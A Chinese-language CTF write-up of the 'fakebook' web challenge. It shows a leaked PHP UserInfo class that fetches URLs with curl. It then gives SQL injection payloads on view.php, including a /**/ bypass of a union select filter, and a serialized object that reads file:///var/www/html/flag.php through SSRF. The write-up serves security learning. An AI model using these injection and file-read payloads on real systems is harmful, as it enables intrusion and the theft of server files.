CTF笔记 攻防世界 fakebook

发布于:2022-11-28 ⋅ 阅读:(274) ⋅ 点赞:(0)


前言

第一次做,拿到题目一开始就被注册难住了,blog该填啥???于是忍不住直接就去看wp了。。。。。。
后面过了一段时间再去做发现,除了注册,后面还是没有思路,只是隐约记得有个反序列化。。。。
这里就记一下,加深以下印像。


一、没有思路,就目录扫描

dirsearch直接上,扫到下面一些文件
在这里插入图片描述
可以看到除了robots文件,其他好像也没什么好看的。访问一下。
在这里插入图片描述
提示user.php备份文件,访问一下。
得到备份,浅浅分析一下。

<?php


class UserInfo#一个userinfo类
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();#创建新curl资源,返回一个句柄,供下面的一些curl_exec()等函数使用

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);#这两行设置选项和url
        $output = curl_exec($ch);#抓取url并传递给浏览器
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#获取句柄的信息,这里获取url的内容
        if($httpCode == 404) {
            return 404;#进行内容判断
        }
        curl_close($ch);#关闭curl资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);#注册的blog需要以http或https开头
    }

}

二、做题

1.sql注入

在这里插入图片描述
有no参数,自然试一下sql注入
在这里插入图片描述
通过1=1--+1=2--+可以发现存在注入,于是一系列操作到union select就进行不下去了
在这里插入图片描述
于是菜鸡的我去查怎么去绕过,找到可以用/**/可绕过
在这里插入图片描述
后面再一系列操作不用说了,爆出数据,这里group_concat-连接一下好区分
在这里插入图片描述

能明显看到后面的data数据是一个序列化的结果,而且需要注意它应该是在4的位置上显示blog信息

2.序列化结合SSRF获取flag

看大佬的wp,后面猜测通过控制data内容,能够获取flag。
大佬先做了个测试,我也做个测试试一下。

<?php 
class UserInfo
{
    public $name = "admin";
    public $age = 122;
    public $blog = "test";


}
	
$a=new UserInfo();
print(serialize($a))

?> 

用在线编辑器跑一下得到序列化后的结果

O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:4:“test”;}
放到语句中测试:
/view.php?no=0%20union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:4:“test”;} ’ from users–+
在这里插入图片描述


这里真的返回了。后面专门看了其他大佬的文章说,curl_exec()这个函数会存在ssrf漏洞,于是利用这个漏洞和file://伪协议进行读取flag
构造payload

view.php?no=0%20union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:122;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;} ’ from users–+


在这里插入图片描述

一开始还没反应过来,原来在源码里面
在这里插入图片描述
进行base64解密得到flag
在这里插入图片描述

参考

[网鼎杯 2018]Fakebook——SSRF/反序列化漏洞/SQL注入

总结

第一次认真跟着大佬的wp一步步做下来,学到了很多,sql注入那里还是有些薄弱,判断闭合的时候总想不到直接空格,多积累吧。。。。


网站公告

今日签到

点亮在社区的每一天
去签到